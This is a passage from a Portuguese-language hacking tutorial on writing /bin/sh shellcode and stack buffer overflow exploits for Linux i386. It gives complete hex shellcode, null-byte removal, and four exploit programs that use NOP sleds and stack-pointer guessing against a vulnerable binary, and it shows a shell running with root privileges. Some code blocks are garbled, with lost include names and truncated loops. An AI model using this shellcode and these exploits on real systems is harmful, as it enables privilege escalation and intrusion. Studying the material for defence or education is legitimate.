Endereco de retorno. A seta indica para onde estah saltando a instrucao. Espero que tudo tenha clareado mais para voce.Em cima disso, podemos calcular os offsets necessarios para jmp saltar para call, de call para popl, do endereco da string para o array, e do endereco da string p/ a word null long. Caso alguem possua duvidas de como se descobrir os offsets, lembro novamente, eh bom aprender assembly!!Mas eu coloquei um esquema bem detalhado no txt sobre shellcodes.Se quiser ou precisar, de uma olhada nele. Seguindo em frente, veremos como nosso codigo ficarah inserindo-o em um programa C. Somente observe, nao compile ainda. #include #include void main() { __asm__(" jmp 0x2a # 3 bytes popl %esi # 1 byte movl %esi,0x8(%esi) # 3 bytes movb $0x0,0x7(%esi) # 4 bytes movl $0x0,0xc(%esi) # 7 bytes movl $0xb,%eax # 5 bytes movl %esi,%ebx # 2 bytes leal 0x8(%esi),%ecx # 3 bytes leal 0xc(%esi),%edx # 3 bytes int $0x80 # 2 bytes movl $0x1, %eax # 5 bytes int $0x80 # 2 bytes call -0x2f # 5 bytes .string \"/bin/sh\" # 8 bytes "); } Existe um probleminha amigo, para que o nosso codigo funcione, necessitamos declarar ele como uma variavel global, para podermos colocar nosso codigo no Stack ou Segmento Data(onde teremos permissao de escrita) ,transferindo o controle para ele,pois nosso codigo modifica ele mesmo e muitos sistemas operacionais marcam paginas de codigos read-only(soh leitura).Para fazermos isso, necessitamos da representacao hexadecimal do codigo binario.Vejamos abaixo como fazer isso tudo: * Primeiro compilamos o nosso programa acima, usando a seguinte sintaxe na linha de comando: [localhost:/]$gcc -o shell -g -ggdb shell.c * Em seguida executamos o debugador. [localhost:/]$ gdb shell GNU gdb 4.18 Copyright 1998 Free Software Foundation, Inc. GDB is free software, covered by the GNU General Public License, and you are welcome to change it and/or distribute copies of it under certain conditions.Type "show copying" to see the conditions. There is absolutely no warranty for GDB. Type "show warranty" for details. This GDB was configured as "i686-pc-linux-gnulibc1"... (gdb) * Agora vem a parte que se exige mais paciencia do fucador.Muita gente acha um saco ter que fazer isso, mas nao tem outro jeito,paciencia amigo.O esquema eh que o debugador nos dirah o codigo hexadecimal correspondente a cada uma da linha de comando.Para fazer isso voce digita o seguinte: (gdb)disassemble main Dump of assembler code for function main: 0x8048150
: push %ebp 0x8048151 : mov %esp,%ebp 0x8048153 : jmp 0x804817f 0x8048155 : pop %esi 0x8048156 : mov %esi,0x8(%esi) 0x8048159 : movb $0x0,0x7(%esi) 0x804815d : movl $0x0,0xc(%esi) 0x8048164 : mov $0xb,%eax 0x8048169 : mov %esi,%ebx 0x804816b : lea 0x8(%esi),%ecx 0x804816e : lea 0xc(%esi),%edx 0x8048171 : int $0x80 0x8048173 : mov $0x1,%eax 0x8048178 : int $0x80 0x804817a : call 0x8048150
0x804817f : das 0x8048180 : bound %ebp,0x6e(%ecx) 0x8048183 : das 0x8048184 : jae 0x80481ee <__new_exitfn+54> 0x8048186 : add %cl,0x90c35dec(%ecx) End of assembler dump. Isso voce jah sabe o que faz(mostra codigo asm do nosso programa),agora amigo para saber o codigo hexadecimal de cada um desses comandos, voce terah que digitar o seguinte " x/xb " como no esquema abaixo: (gdb) x/xb main+3 0x8048153 : 0xeb (gdb) x/xb main+4 0x8048154 : 0x2a (gdb) x/xb main+5 0x8048155 : 0x5e (gdb) x/xb main+6 0x8048156 : 0x89 . . . (gdb) x/xb main+56 0x8048188 : 0xec (gdb) x/xb main+57 0x8048189 : 0x5d (gdb) x/xb main+58 0x804818a : 0xc3 (gdb) x/xb main+59 0x804818b : 0x90 Voce comecarah com o indice "main+3" e irah ateh quando chegar o hexadecimal "0x90" que corresponde a instrucao NOP, que serah vista logo abaixo (essa linha nao deve entrar no nosso shell code).Caso em outro shellcode feito por voce, isso nao apareca, coloque os hexadecimais ateh a ultima instrucao da funcao main(). Feito tudo isso, voce colocarah todos as linhas do programa em hexa, numa variavel global, como no esquema abaixo: /* Exemplo inicial de shellcode Compile com: $gcc -o shell1 shell1.c */ #include char shellcode[] = "\xeb\x2a\x5e\x89\x76\x08\xc6\x46\x07\x00\xc7\x46\x0c\x00\x00\x00" "\x00\xb8\x0b\x00\x00\x00\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80" "\xb8\x01\x00\x00\x00\xbb\x00\x00\x00\x00\xcd\x80\xe8\xd1\xff\xff" "\xff\x2f\x62\x69\x6e\x2f\x73\x68\x00\x89\xec\x5d\xc3"; void main() { int *retorno; retorno = (int *)&retorno + 2; (*retorno) = (int)shellcode; } Depois de compilado voce pode executar ele normalmente, como no exemplo abaixo: [localhost:/]$ gcc -o shell1 shell1.c [localhost:/]$./shell1 bash$ exit exit Como voce pode ver, ele funciona!Mas existe um pequeno probleminha,como nos estamos querendo executar nosso shellcode atraves de um buffer overflow,enchendo-o de caracteres, logo, um byte nulo em nosso shellcode irah ser considerado como o fim da string, e consequentemente serah o fim frustado de nosso objetivo.Entao necessitados retirar todos os bytes nulos(null bytes) de nosso shellcode para que nosso futuro exploit nao tenha problemas em executar seu alvo.Para fazermos isso, necessitamos conhecer um basico de assembly, mas vejamos como ficaria para nosso exemplo: Instrucao com null byte Trocar por: ------------------------------------------------------------------------ movb $0x0,0x7(%esi) xorl %eax,%eax movb %eax,0x7(%esi) movl $0x0,0xc(%esi) movl %eax,0xc(%esi) ------------------------------------------------------------------------- movl $0xb,%eax movb $0xb,%al ------------------------------------------------------------------------- movl $0x1,%eax xorl %ebx,%ebx movl $0x0,%ebx movl %ebx,%eax inc %eax ------------------------------------------------------------------------- Como podemos ver, nao ha muita coisa para fazermos no intuito de retirar os null bytes.Veremos entao como fica o nosso codigo apos a substituicao dos mesmos: /* Shellcode com sobstituicao dos null bytes */ #include main(){ __asm__(" jmp 0x1f #2 bytes popl %esi #1 byte movl %esi,0x8(%esi) #3 bytes xorl %eax,%eax #2 bytes movb %eax,0x7(%esi) #3 bytes movl %eax,0xc(%esi) #3 bytes movb $0xb,%al #2 bytes movl %esi,%ebx #2 bytes leal 0x8(%esi),%ecx #3 bytes leal 0xc(%esi),%edx #3 bytes int $0x80 #2 bytes xorl %ebx,%ebx #2 bytes movl %ebx,%eax #2 bytes inc %eax #1 byte int $0x80 #2 bytes call -0x24 #5 bytes .string \"/bin/sh\" #8 bytes "); } Compilamos entao usando a seguinte sintaxe: [localhost:/]$gcc -ggdb -static -o shellnova1 shellnova1.c Em seguinte usamos o debugador p/ novamente pegarmos o codigo em hexa: [localhost:/]$gdb shellnova1 GNU gdb 4.18 Copyright 1998 Free Software Foundation, Inc. GDB is free software, covered by the GNU General Public License, and you are welcome to change it and/or distribute copies of it under certain conditions.Type "show copying" to see the conditions. There is absolutely no warranty for GDB. Type "show warranty" for details.This GDB was configured as "i686-pc-linux-gnulibc1"... (gdb)disassemble main Dump of assembler code for function main: 0x8048150
: push %ebp 0x8048151 : mov %esp,%ebp 0x8048153 : jmp 0x8048174 0x8048155 : pop %esi 0x8048156 : mov %esi,0x8(%esi) 0x8048159 : xor %eax,%eax 0x804815b : mov %al,0x7(%esi) 0x804815e : mov %eax,0xc(%esi) 0x8048161 : mov $0xb,%al 0x8048163 : mov %esi,%ebx 0x8048165 : lea 0x8(%esi),%ecx 0x8048168 : lea 0xc(%esi),%edx 0x804816b : int $0x80 0x804816d : xor %ebx,%ebx 0x804816f : mov %ebx,%eax 0x8048171 : inc %eax 0x8048172 : int $0x80 0x8048174 : call 0x8048155 0x8048179 : das 0x804817a : bound %ebp,0x6e(%ecx) 0x804817d : das 0x804817e : jae 0x80481e8 <__new_exitfn+52> 0x8048180 : add %cl,0x90c35dec(%ecx) End of assembler dump. (gdb) x/xb main+3 0x8048153 : 0xeb (gdb) x/xb main+4 0x8048154 : 0x1f (gdb) x/xb main+5 0x8048155 : 0x5e (gdb) x/xb main+6 0x8048156 : 0x89 (gdb) x/xb main+7 0x8048157 : 0x76 (gdb) x/xb main+8 0x8048158 : 0x08 (gdb) x/xb main+9 0x8048159 : 0x31 . . . 0x8048178 : 0xff Podemos perfeitamente para por aqui e no nosso shellcode no codigo-fonte acrescentarmos a string /bin/sh que se refere ao que queremos executar. Fazendo isso teriamos o seguinte shellcode: char shellcode[] = "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" "\x80\xe8\xdc\xff\xff\xff/bin/sh"; Mas se nos quisermos substituir a string /bin/sh por seu correspondente em hexadecimal, nos devemos continuar pegando os respectivos codigos hexa pelo debugador, ateh encontrarmos uma intrucao nop que corresponderah ao fim da funcao main().Vejamos: Haviamos parado em
Continuando: (gdb) x/xb main+41 0x8048179 : 0x2f (gdb) x/xb main+42 0x804817a : 0x62 (gdb) x/xb main+43 0x804817b : 0x69 (gdb) x/xb main+44 0x804817c : 0x6e (gdb) x/xb main+45 0x804817d : 0x2f . . . 0x8048183 : 0x5d (gdb) x/xb main+52 0x8048184 : 0xc3 (gdb) x/xb main+53 0x8048185 : 0x90 (gdb) x/xb main+54 0x8048186 : 0x90 Como podemos ver chagamos ateh a instrucao NOP(0x90), logo nao incluiremos ela em nosso shellcode, devemos entao acrescentar ateh , fazendo entao nosso shellcode ficar assim: char shellcode[] = "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" "\x80\xe8\xdc\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68\x00\x89\xec" "\x5d\xc3"; Antes de testarmos esse dito cujo, vou dar uma breve explicacao do que eh este NOP(0x90) e porque usaremos ele em nossos codigos de exploits futuros.A instrucao NOP pode ser considerada como uma instrucao vazia, ou uma operacao nula.Quase todos os processadores possuem esta intrucao e no nosso caso, um sistema linux i386 o hexadecimal correspondente a esta instrucao eh 0x90.Quando executamos um exploit, necessitamos fazer com que o endereco de retorno execute nosso shellcode, mas quando ele aponta p/ um endereco com dados diferentes do que de fato queremos, que eh o inicio do nosso shellcode, ocorre uma Segmentation Violation! Ou simplesmente uma violacao de segmentacao, e quando isto ocorre, nos nao alcancaremos facilmente nosso objeto.A nao ser que chutemos offsets ateh conseguir achar nosso codigo.Mas isto eh muito trabalhoso, de modo que eh mais eficiente enchermos o buffer com nosso shellcode no meio e o resto de NOP's, isto farah com que, se o retorno apontar para uma intrucao NOP no buffer, irah percorrer elas ateh chegar ao inicio de nosso shellcode, e ,consequentemente, executar nosso codigo(shellcode). Quando chegar a parte sobre escrita de exploits, voce entenderah na pratica o que significa isso. Podemos agora testar cada um desses dois shellcodes.Voce pode escolher entre qualquer um dos dois, como aqui nos estamos vendo o basico do basico, dependendo das situacoes, um shellcode poderah ser melhor que o outro(Questao de filtros e etc..).Bem, mas para nossos propositos iremos testar nosso shellcode usando o segundo esquema, onde a string /bin/sh aparece em formato hexadecimal.Vejamos como fica: /* Simples Exemplo de Shellcode com string /bin/sh em hexa Compile com: $gcc -o shellnova2 shellnova2.c */ #include char shellcode[] = "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" "\x80\xe8\xdc\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68\x00\x89\xec" "\x5d\xc3"; void main(){ int *retorno; retorno = (int *)&retorno + 2; (*retorno) = (int)shellcode; } O esquema na linha de comando seria: [localhost:/]$ gcc -o shellnova2 shellnova2.c [localhost:/]$ ./shellnova2 bash$ exit exit Como podemos ver perfeitamente, ele funciona bem como queriamos. Bem amigo, espero que voce tenha aprendido com esse texto, a escrita basica de shellcodes, isso para a maioria das situacao eh mais do que o necessario.Se nao deu para pegar bem, de uma olhada no outro texto que fiz somente sobre esse assunto ou mesmo nas home pages que cito no final, pode-se dizer que foi nestes textos que aprendi a fazer isso.Lembrando o que disse no texto sobre programacao em sockets, que espero que tenha lido..:).."SABENDO FAZER UM, O QUE TE IMPEDE DE FAZER TODOS??". ------------------------------ 4 - FAZENDO UM STACK OVERFLOW | ------------------------------ Bem amigo, chegamos a tao esperada hora! Muitos administradores de rede tremem ao ouvir essa palavra, pois sabem o que eh possivel se fazer com isso.A escrita de exploits, varia muito, digo isso porque eh muito facil exploitar um determinado bug ou um erro de uma funcao que recebe dados da linha de comando, mas eh bem dificil as vezes quando a situacao nao eh essa(quando a funcao nao recebe dados da linha de comando).O que escreverei aqui irah interessar duas classe de programadores de exploits ( ou serah hackers??:) ), de qualquer forma, a maioria se limita a escrever exploits que se utilizam de bugs na linha de comando, mas poucos se atentam aos outros tipos.Eh muito comum dizermos da seguranca:"Eles sabem o que eh, mas nao sabem fazer!!" justamente porque eles se limitam muito a overflows pela linha de comando e afins. Mas deixando o papo de lado, vamos comecar do basico, escrevendo um exploit para o nosso primeiro programa bugado(aquele lah do inicio). Lah no inicio, eu coloquei um programa especifico que enche o buffer de nosso programa bugado com caracteres A, se recorda? Agora, ao inves de enchermos o buffer com caracters 'A' que soh poderiam nos dar,quando muito, um Denial Of Service, encheremos o buffer com nosso codigo, e sobrescreveremos o return address(endereco de retorno) para que ele aponte para o inicio do buffer e consequentemente para o nosso codigo. Vejamos um esquema antes de fazermos isso: * Primeiro debugaremos nosso programa bugado usando o gdb. [localhost:/]$ gdb bug1 Copyright 1998 Free Software Foundation, Inc. GDB is free software, covered by the GNU General Public License, and you are welcome to change it and/or distribute copies of it under certain conditions.Type "show copying" to see the conditions. There is absolutely no warranty for GDB. Type "show warranty" for details.This GDB was configured as "i686-pc-linux-gnulibc1"... (no debugging symbols found)... (gdb) + Em seguida executamos ele para gerar o buffer overflow. (gdb) run `perl -e 'printf "A" x 530'` Starting program: /tmp/bug1 `perl -e 'printf "A" x 530'` Voce digitou AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAA!! (no debugging symbols found)... Program received signal SIGSEGV, Segmentation fault. 0x41414141 in ?? () Prestando atencao, podemos perfeitamente ver que geramos o overflow: Program received signal SIGSEGV, Segmentation fault. 0x41414141 in ?? () Esse 0x41 se refere aos 'A's, ele eh o numero hexa correspondente ao caracter A.Fizemos isso mais para demonstrar que o programa possui um bug e que voce pode perfeitamente descobrir usando o programa gdb. Agora vem a parte mais seria, vamos pedir ao gdb para nos mostrar aonde na memoria(em hexa) estah o nosso Stack Pointer atual.Para isso usamos o seguinte comando: (gdb) info all-registers eax 0x0 0 ecx 0x80485bf 134514111 edx 0x3 3 ebx 0x0 0 esp 0xbffff838 0xbffff838 ebp 0x41414141 0x41414141 esi 0x40006394 1073767316 edi 0x8048400 134513664 eip 0x41414141 0x41414141 eflags 0x10246 66118 cs 0x23 35 ss 0x2b 43 ds 0x2b 43 es 0x2b 43 fs 0x0 0 gs 0x0 0 (gdb) ou se preferir: (gdb) info register eip eip 0x41414141 0x41414141 (gdb) info register esp esp 0xbffff838 0xbffff838 (gdb) Como voce pode ver, ele mostra todos os registradores, mas no momento, devemos nos concentrar somente em dois.O registar eip(index pointer) que eh aonde se localiza nossos 'A's, e o registrador esp(Stack pointer) No caso acima teremos: (gdb) info register eip eip 0x41414141 0x41414141 para eip (Index pointer). (gdb) info register esp esp 0xbffff838 0xbffff838 para esp (Stack pointer). Bem amigo, para que tudo isso? Iremos inicialmente criar um exploit em cima desse esp.Eu digo desse, porque ele varia, e como estamos executando gdb, partimos do pre-suposto que vamos fazer um exploit p/ maquina local, onde poderemos compilar nosso exploit.P/ maquinas remotas o esquema eh diferente, pois nao teriamos permissao para usar gdb, e outra coisa, mais embaixo veremos um metodo mais eficiente do que este, mas por enquanto, vamos nos concentrar neste. Bem, apos pegarmos esse endereco de esp, iremos agora montar a nosso primeiro exploit para nosso primeiro programa bugado, o do comeco desse txt(bug1). --------------------------- expl1.c ---------------------------------- /* Primeiro exploit para Programa bugado 1(bug1) Compile com: $ gcc -o expl1 expl1.c */ #include #include #include /* Aqui nos definimos a instrucao NOP (explicada no final da parte sobre shellcodes) como sendo seu codigo em hexadecimal */ #define NOP 0x90 /* Sabemos (Sem necessitar ver o codigo-fonte) que o programa bugado eh detonado quando usamos mais de 512 bytes(como vimos usando perl ou mesmo o programa que coloquei no inicio). Entao usaremos nesse exemplo um buffer um pouco maior, recomenda-se nessa faixa(100 a +) para inserir nossos dados */ #define TAMANHO 612 /* Aqui eh o endereco de esp ou Stack pointer, que acabamos de pegar usando gdb acima */ #define RET 0xbffff808 /* Abaixo segue o nosso shellcode */ char shellcode[] = "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" "\x80\xe8\xdc\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68\x00\x89\xec" "\x5d\xc3"; int main(int argc, char *argv[]) { char buffer[TAMANHO]; long ret = RET; int i, offset = 0; long retaddr; if(argc > 1) offset = atoi(argv[1]); retaddr = ret + offset; /* Enchemos retaddr com endereco de buffer */ for (i=0;i #include unsigned long pega_sp(void){ __asm__("movl %esp,%eax"); } void main(){ printf("Eis o que estamos procurando: 0x%x \n",pega_sp()); } ----------------------------------------------------------------- Compilando ele e executando normalmente, teremos: [localhost:/]$ gcc -o pega_sp pega_sp.c [localhost:/]$ ./pega_sp Eis o que estamos procurando: 0xbffffa28 [localhost:/]$ Como podemos perfeitamente ver, existe uma diferenca entre o SP achado via gdb e o SP achado via esse programa.Essa diferenca pode perfeitamente ser compensada no acrescimento ou decrescimo de offsets na linha de comando em busca do real endereco de retorno.Como o SP eh variavel(muda de maquina para maquina, de programa p/ programa), este codigo eh bastante util aonde nao se tem acesso a captura do SP facilmente, como por exemplo, em exploits remotos ou em redes aonde nao podemos compilar um programa. Inserindo esse codigo no nosso exploit, teremos entao um novo esquema com a retirada do SP definido(o que pegamos via gdb).Vejamos como fica: ------------------------------ expl2.c ---------------------------------- /* Segundo Exemplo de exploit para sobrescrever primeiro programa bugado do tutorial sobre overflows. Se utitiliza do metodo de pegar o SP(Stack Pointer) via codigo inserido no proprio exploit abaixo. Desenvolvido por Nash Leon. */ #include #include #include /* Definimos o NOP(0x90) e o Tamanho do buffer(+ ou - 100 bytes maior que o que nos queremos sobrescrever */ #define NOP 0x90 #define TAMANHO 612 /* Aqui entra nosso artificio para tentarmos pegar a posicao de SP */ unsigned long pega_sp(void){ __asm__("movl %esp, %eax"); } /* Nosso shellcode padrao */ char shellcode[] = "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" "\x80\xe8\xdc\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68\x00\x89\xec" "\x5d\xc3"; int main(int argc, char *argv[]) { char buffer[TAMANHO]; int i, offset = 0; long retaddr; if(argc > 1) offset = atoi(argv[1]); /* Para pegarmos o real return address(endereco de retorno) manipulando nosso esquema para pegar SP com diminuicao de offsets.Voce poderia colocar para somar, mas nesse caso, com esse esquema, eh melhor colocarmos com diminuicao,para nao chutarmos offsets negativos */ retaddr = pega_sp() - offset; /* Colocamos buffer no endereco de retorno */ for (i=0;i #include #include /* Boa e velha instrucao NOP em linux */ #define NOP 0x90 /* Para pegarmos o Stack Pointer */ unsigned long pega_sp(void){ __asm__("movl %esp, %eax"); } /* Testaremos dessa ver com esse shellcode, mas voce pode perfeitamente usar o anterior ou qualquer um que tiver ou desejar */ char shellcode[] = "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" "\x80\xe8\xdc\xff\xff\xff/bin/sh"; int main(int argc, char *argv[]) { char *buffer; long retaddr; int i ,tamanho = 0, offset = 0; if(argc < 2){ printf("Exploit Exemplo 3 do tutorial sobre overflows!!\n"); printf("http://unsekurity.virtualave.net/\n"); printf("Uso: %s \n",argv[0]); printf("Obs:Digite o tamanho do buffer!!\n\n"); exit(0); } if (argc > 1) { tamanho = atoi(argv[1]); } if (argc > 2) { offset = atoi(argv[2]); } if(!(buffer = malloc(tamanho))){ fprintf(stderr,"Nao pode alocar mamoria!!\n"); exit(1); } retaddr = pega_sp() - offset; /* Colocamos buffer no endereco de retorno */ for (i=0;i Obs:Digite o tamanho do buffer!! [localhost:/]$ ./e3 200 Voce digitou 1UØ@I èÜÿÿÿ/bin/shúÿ¿úÿ¿úÿ¿úÿ¿úÿ¿úÿ¿úÿ¿úÿ¿úÿ¿úÿ¿úÿ¿úÿ¿úÿ¿úÿ¿úÿ¿úÿ¿úÿ¿ú ÿ¿úÿ¿úÿ¿úÿ¿úÿ¿úÿ¿úÿ¿úÿ¿!! [localhost:/]$ ./e3 400 Voce digitou 1UØ@I èÜÿÿÿ/bin/shúÿ¿úÿ¿úÿ¿úÿ¿úÿ¿úÿ¿úÿ¿úÿ¿úÿ¿úÿ¿úÿ¿úÿ¿úÿ¿úÿ¿úÿ¿úÿ¿úÿ¿ú ÿ¿úÿ¿úÿ¿úÿ¿úÿ¿úÿ¿úÿ¿úÿ¿!!ÿ¿úÿ¿úÿ¿úÿ¿úÿ¿úÿ¿úÿÿ¿úÿ¿úÿ¿úÿ¿úÿ¿úÿ¿úÿ ÿ¿úÿ¿úÿ¿úÿ¿úÿ¿úÿ¿ÿ¿úÿ¿úÿ¿úÿ¿úÿ¿úÿ¿!! [localhost:/]$ ./e3 500 Voce digitou 1UØ@I èÜÿÿÿ/bin/shúÿ¿úÿ¿úÿ¿úÿ¿úÿ¿úÿ¿úÿ¿úÿ¿úÿ¿úÿ¿úÿ¿úÿ¿úÿ¿úÿ¿úÿ¿úÿ¿úÿ¿ú ÿ¿úÿ¿úÿ¿úÿ¿úÿ¿úÿ¿úÿ¿úÿ¿!!ÿ¿úÿ¿úÿ¿úÿ¿úÿ¿úÿ¿úÿÿ¿úÿ¿úÿ¿úÿ¿úÿ¿úÿ¿úÿ ÿ¿úÿ¿úÿ¿úÿ¿úÿ¿úÿ¿ÿ¿úÿ¿úÿ¿úÿ¿úÿ¿úúÿ¿úÿ¿úÿ¿úÿ¿úÿ¿!!ÿ¿úÿ¿úÿ¿úÿ¿úÿ¿ú úÿ¿úÿ¿úÿ¿úÿ¿úÿ¿!!ÿ¿úÿ¿úÿ¿úÿ¿úÿ¿úÿ¿!!ÿ¿úÿ¿úÿ¿úÿ¿úÿ¿úÿ¿!!ÿ¿úÿ¿úÿ¿úÿ úÿ¿úÿ¿úÿ¿úÿ¿úÿ¿!!ÿ¿úÿ¿úÿ¿úÿ¿úÿ¿úÿ¿!!ÿ¿úÿ¿úÿ¿úÿ¿úÿ¿úÿ¿!!ÿ¿úÿ¿úÿ¿ú úÿ¿úÿ¿úÿ¿úÿ¿úÿ¿!!ÿ¿úÿ¿úÿ¿úÿ¿úÿ¿úÿ¿!!ÿ¿úÿ¿úÿ¿úÿ¿úÿ¿úÿ¿!!ÿ¿ÿ¿!! [localhost:/]$ ./e3 600 Voce digitou 1UØ@I èÜÿÿÿ/bin/shúÿ¿úÿ¿úÿ¿úÿ¿úÿ¿úÿ¿úÿ¿úÿ¿úÿ¿úÿ¿úÿ¿úÿ¿úÿ¿úÿ¿úÿ¿úÿ¿úÿ¿ú ÿ¿úÿ¿úÿ¿úÿ¿úÿ¿úÿ¿úÿ¿úÿ¿!!ÿ¿úÿ¿úÿ¿úÿ¿úÿ¿úÿ¿úÿÿ¿úÿ¿úÿ¿úÿ¿úÿ¿úÿ¿úÿ ÿ¿úÿ¿úÿ¿úÿ¿úÿ¿úÿ¿ÿ¿úÿ¿úÿ¿úÿ¿úÿ¿úúÿ¿úÿ¿úÿ¿úÿ¿úÿ¿!!ÿ¿úÿ¿úÿ¿úÿ¿úÿ¿ú úÿ¿úÿ¿úÿ¿úÿ¿úÿ¿!!ÿ¿úÿ¿úÿ¿úÿ¿úÿ¿úÿ¿!!ÿ¿úÿ¿úÿ¿úÿ¿úÿ¿úÿ¿!!ÿ¿úÿ¿úÿ¿úÿ úÿ¿úÿ¿úÿ¿úÿ¿úÿ¿!!ÿ¿úÿ¿úÿ¿úÿ¿úÿ¿úÿ¿!!ÿ¿úÿ¿úÿ¿úÿ¿úÿ¿úÿ¿!!ÿ¿úÿ¿úÿ¿ú úÿ¿úÿ¿úÿ¿úÿ¿úÿ¿!!ÿ¿úÿ¿úÿ¿úÿ¿úÿ¿úÿ¿!!ÿ¿úÿ¿úÿ¿úÿ¿úÿ¿úÿ¿!!ÿ¿ÿ¿!! bash#id uid=1000 gid=100(users) groups=100(users) euid=0(root) egid=0(root) bash# exit exit :)..Como podemos ver foi facil, chutamos poucos, de 100 em 100, para nao escrever mais linhas...esse texto jah estah grande demais, mas de qualquer forma vai um conselho.Quando receber aquela velha mensagem que disse no inicio, "Segmentation fault" , saiba que voce jah estourou o buffer.Entao tente diminuir o tamanho do buffer ateh que voce nao receba mais essa mensagem aih voce terah ideia mais ou menos de onde de fato ocorre o overflow.De posse dessa ideia eh soh mandar brasa. Veremos agora mais um exploit para nosso programa bugado, soh que usaremos um artificio que optimizarah nosso exploit, fazendo com que diminua ainda mais o nosso trabalho.Iremos manipular mais dados para que o endereco de retorno aponte mais precisamente para aonde nos queremos.Vejamos: ------------------------------expl4.c------------------------------ /* QUARTO EXEMPLO DE EXPLOIT PARA PRIMEIRO PROGRAMA BUGADO. SE UTILIZADA DE ALINHAMENTO EM BUSCA DE MELHORAR O APONTAMENTO DO ENDERECO DE RETORNO PARA NOSSO CODIGO */ #include #include #include #define NOP 0x90 /* Aqui nos definimos o alinhamento, jah para voce ir se acostumando..:).. */ #define ALIGN 0 /* Pegamos o Stack Pointer */ unsigned long pega_sp(void){ __asm__("movl %esp, %eax"); } char shellcode[] = "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" "\x80\xe8\xdc\xff\xff\xff/bin/sh"; int main(int argc, char *argv[]) { char *buffer; long retaddr; int i ,tamanho = 0, offset = 0; if(argc < 2){ printf("Exploit Exemplo 4 do tutorial sobre overflows!!\n"); printf("http://unsekurity.virtualave.net/\n"); printf("Uso: %s \n",argv[0]); printf("Obs:Digite o tamanho do buffer!!\n\n"); exit(0); } if (argc > 1) { tamanho = atoi(argv[1]); } if (argc > 2) { offset = atoi(argv[2]); } if(!(buffer = malloc(tamanho))){ fprintf(stderr,"Nao pode alocar mamoria!!\n"); exit(1); } retaddr = pega_sp() - offset; /* Colocamos buffer no endereco de retorno usando o artificio de deslocamento de bits para a direita, no intuito de agilizar ainda mais nosso processo.Para voce entender bem o que significa isso aih, vejamos: n = 2; onde 2 em binario eh 10; n << 4; agora n terah representacao binaria igual a 100000 10 + 4 zeros. E a operacao logica & equivale a && soh que eh usada em operacoes logica bit-a-bit. */ for (i=0;i>8; buffer[i+ALIGN+2]=(retaddr&0x00ff0000)>>16; buffer[i+ALIGN+3]=(retaddr&0xff000000)>>24; } /* Enchemos uma parte do buffer com NOP's */ for (i=0;i<(tamanho-strlen(shellcode)-100);i++) *(buffer+i) = NOP; /* Copiamos shellcode sobre buffer */ memcpy(buffer+i,shellcode,strlen(shellcode)); /* Finalmente executamos o programa */ execl("./bug1","bug1",buffer,0); } ----------------------------------------------------------------- Compilamos ele e em seguida testamos. [localhost:/]$ gcc -o expl4 expl4.c [localhost:/]$ ./expl4 Exploit Exemplo 4 do tutorial sobre overflows!! http://unsekurity.virtualave.net/ Uso: ./e5 Obs:Digite o tamanho do buffer!! [localhost:/]$ ./expl 520 Voce digitou.... ¿úÿ¿úÿ¿úÿ¿úÿ¿úÿ¿ú¿úÿ¿úÿ¿úÿ¿úÿ¿úÿ¿ú¿úÿ¿úÿ¿úÿ¿úÿ¿úÿ¿ú ¿úÿ¿úÿ¿úÿ¿úÿ¿úÿ¿ú¿úÿ¿úÿ¿úÿ¿úÿ¿úÿ¿ú¿úÿ¿úÿ¿úÿ¿úÿ¿úÿ¿ú /bin/shúÿ¿úÿ¿úÿ¿úÿ¿úÿ¿úÿ¿úÿ¿ú bash#exit exit YES!!!!!!:) Como podemos ver, esse esquema eh muito eficiente quando temos nocao de onde ocorre o overflow, ele explora mesmo muitos chutes de buffers sem precisar de offsets, voce pode testar com varios, vah testando chutando de 10 em 10, de 517 ateh lah por 600, 610.Voce pode ateh mesmo chutar bem mais o tamanho do buffer, 